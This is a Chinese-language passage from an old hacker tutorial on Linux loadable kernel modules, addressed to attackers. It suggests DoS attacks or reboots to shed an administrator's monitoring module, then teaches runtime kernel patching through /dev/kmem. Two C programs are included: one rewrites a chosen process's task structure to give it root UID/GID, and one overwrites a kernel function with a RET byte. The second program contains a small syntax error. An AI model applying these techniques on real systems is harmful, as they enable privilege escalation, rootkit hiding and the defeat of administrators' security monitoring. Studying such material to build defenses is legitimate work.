Linux系统可卸载内核模块完全指南(3)
第四部分 一些更好的想法(给hacker的)4.1 击败系统管理员的LKM的方法
这一部分会给我们对付一些使用LKM保护内核的多疑(好的)的管理员的方法。在解释了所有系统管理员能够使用的方法之后,很难为我们(hackers)找到一个更好的办法。我们需要离开LKM一会儿,来寻找击败这些困难的保护的方法。
假定一个系统可以被管理员安装上一个十分好的大范围的监视的LKM,他可以检查那个系统的每一个细节。他可以做到第二或者第三部分提到的所有事情。
第一种除掉这些LKM的方法可以是重新启动系统。也许管理员并没有在启动文件里面加载这些LKM。因此,试一些DoS攻击或者其他的。如果你还不能除去这个LKM就看看其他的一些重要文件。但是要仔细,一些文件有可能是被保护或者监视的(见附录A,里面有一个类似的LKM)。
假如你真的找不到LKM是在那里加载的等等,不要忘记系统是已经安装了一个后门的。这样你就不可以隐藏文件或者进程了。但是如果一个管理员真正使用了这么一个超级的LKM,忘记这个系统吧。你可能遇到真正的好的对手并且将会有麻烦。对于那些确实想击败这个系统的,读第二小节。
4.2 修补整个内核-或者创建Hacker-OS
[注意:这一节听上去可能有一些离题了。但是在最后我会给出一个很漂亮的想法(Silvio
Cesare写的程序也可以帮助我们使用我们的LKM。这一节只会给出整个内核问题的一个大概的想法,因为我只需要跟随Sivio Cesare的想法]
OK,LKM是很好的。但是如果系统管理员喜欢在5。1中提到的想法。他做了很多来阻止我们使用我们在第二部分学到的美妙的LKM技术。他甚至修补他自己的内核来使他的系统安全。他使用一个不需要LKM支持的内核。
因此,现在到了我们使用我们最后一招的时候了:运行时内核补丁。最基本的想法来自我发现的一些源程序(比如说Kmemthief),还有Silvio
Cesare的一个描述如何改变内核符号的论文。在我看来,这种攻击是一种很强大的'内核入侵'。我并不是懂得每一个Un*x,但是这种方法可以在很多系统上使用。这一节描述的是运行时内核补丁。但是为什么不谈谈内核文件补丁呢?每一个系统有一个文件来代表内核,在免费的系统中,像FreeBSD,Linux,。。。。,改变一个内核文件是很容易的。但是在商业系统中呢?我从来没有试过。但是我想这会是很有趣的:想象通过一个内核的补丁作为系统的后门.你只好重新启动系统或者等待一次启动。(每个系统都需要启动)。但是这个教材只会处理运行时的补丁方式。你也许说这个教材叫入侵Linux可卸载内核模块,并且你不想知道如何补丁整个内核。好的,这一节将会教会我们如何'insmod'LKM到一个十分安全的,或者没有LKM支持的系统。因此我们还是学到了一些和LKM有关的东西了。
因此,让我们开始我们最为重要的必须处理的东西,如果我们想学习RKP(Runtime Kernel Patching)的话。这就是/dev/kmem文件。他可以帮助我们看到(并且更改)整个我们的系统的虚拟内存。[注意:这个RKP方法在通常情况下是十分有用的,如果你控制了那个系统以后。只有非常不安全的系统才会让普通用户存取那个文件]。
正如我所说的,/dev/kmem可以使我们有机会看到我们系统中的每一个内存字节(包括swap)。这意味着我们可以存取整个内存,这就允许我们操纵内存中的每一个内核元素。(因为内核只是加载到系统内存的目标代码)。记住/proc/ksyms文件记录了每一个输出的内核符号的地址。因此我们知道如何才能通过更改内存来控制一些内核符号。下面让我们来看看一个很早就知道的很基本的例子。下面的(用户空间)的程序获得了task_structure的地址和某一个PID.在搜索了代表某个PID的任务结构以后,他改变了每个用户的ID域使得UID=0。当然,今天这样的程序是毫无用处的。因为绝大多数的系统不会允许一个普通的用户去读取/dev/kmem。但是这是一个关于RKP的好的介绍。
/*注意:我没有实现错误检查*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
/*我们想要改变的任务结构的最大数目*/
#define NR_TASKS 512
/*我们的任务结构-〉我只使用了我们需要的那部分*/
struct task_struct {char a[108];
/*我们不需要的*/int pid;char b[168];
/*我们不需要的*/unsigned short uid,euid,suid,fsuid;unsigned short gid,egid,sgid,fsgid;char c[700];
/*我们不需要的*/};
/*下面是原始的任务结构,你可以看看还有其他的什么是你可以改变的
struct task_struct {volatile long state;long counter;long priority;unsigned long signal;unsigned long blocked;unsigned long flags;int errno;long debugreg[8];struct exec_domain *exec_domain;struct linux_binfmt *binfmt;struct task_struct *next_task, *prev_task;struct task_struct *next_run, *prev_run;unsigned long saved_kernel_stack;unsigned long kernel_stack_page;int exit_code, exit_signal;unsigned long personality;int dumpable:1;int did_exec:1;int pid;int pgrp;int tty_old_pgrp;int session;int leader;int groups[NGROUPS];struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;struct wait_queue *wait_chldexit;unsigned short uid,euid,suid,fsuid;unsigned short gid,egid,sgid,fsgid;unsigned long timeout, policy, rt_priority;unsigned long it_real_value, it_prof_value, it_virt_value;unsigned long it_real_incr, it_prof_incr, it_virt_incr;struct timer_list real_timer;long utime, stime, cutime, cstime, start_time;unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;int swappable:1;unsigned long swap_address;unsigned long old_maj_flt;unsigned long dec_flt;unsigned long swap_cnt;struct rlimit rlim[RLIM_NLIMITS];unsigned short used_math;char comm[16];int link_count;struct tty_struct *tty;struct sem_undo *semundo;struct sem_queue *semsleeping;struct desc_struct *ldt;struct thread_struct tss;struct fs_struct *fs;struct files_struct *files;struct mm_struct *mm;struct signal_struct *sig;#ifdef __SMP__int processor;int last_processor;int lock_depth;#endif};*/int main(int argc, char *argv[]){unsigned long task[NR_TASKS];/*用于特定PID的任务结构*/struct task_struct current;int kmemh;int i;pid_t pid;int retval;pid = atoi(argv[2]);kmemh = open("/dev/kmem", O_RDWR);/*找到第一个任务结构的内存地址*/lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);read(kmemh, task, sizeof(task));/*遍历知道我们找到我们的任务结构(由PID确定)*/for (i = 0; i < NR_TASKS; i++){lseek(kmemh, task[i], SEEK_SET);read(kmemh, ¤t, sizeof(current));/*是我们的进程么*/if (current.pid == pid){/*是的,因此改变UID域。。。。*/current.uid = current.euid = 0;current.gid = current.egid = 0;/*写回到内存*/lseek(kmemh, task[i], SEEK_SET);write(kmemh, ¤t, sizeof(current));printf("Process was found and task structure was modified
");exit(0);}}}
关于这个小程序没有什么太特殊的地方。他不过是在一个域中找到某些匹配的,然后再改变某些域罢了。除此之外还有很多程序来做类似的工作。你可以看到,上面的这个例子并不能帮助你攻击系统。他只是用于演示的。(但是也许有一些弱智的系统允许用户写/dev/kmem,我不知道)。用同样的方法你也可以改变控制系统内核信息的模块结构。通过对kmem操作,你也可以隐藏一个模块;我在这里就不给出源代码了,因为基本上和上面的那个程序一样(当然,搜索是有点难了)。通过上面的方法我们可以改变一个内核的结构。有一些程序是做这个的。但是,对于函数我们怎么办呢?我们可以在网上搜索,并且会发现并没有太多的程序来完成这个。当然,对一个内核函数进行补丁会更有技巧一些(在后面我们会做一些更有用的事情)。对于sys_call_table结构的最好的入侵方法就是让他指向一个完全我们自己的新的函数。下面的例子仅仅是一个十分简单的程序,他让所有的系统调用什么也不干。我仅仅插入一个RET(0xc3)在每一个我从/proc/ksyms获得的函数地址前面。这样这个函数就会马上返回,什么也不做。
/*同样的,没有错误检查*/#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <fcntl.h>/*不过是我们的返回代码*/unsigned char asmcode[]={0xc3};int main(int argc, char *argv[]){unsigned long counter;int kmemh;/*打开设备*/kmemh = open("/dev/kmem", O_RDWR);/*找到内存地址中函数开始的地方*/lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);/*写入我们的补丁字节*/write(kmemh, &asmcode, 1):close(kmemh);}
让我们总结一下我们目前所知道的:我们可以改变任何内核符号;这包括一些像sys_call_table[]这样的东西,还有其他任何的函数或者结构。记住每个内核补丁只有在我们可以存取到/dev/kmem的时候才可以使用。但是我们也知道了如何保护这个文件。可以看3.5.5。
###adv##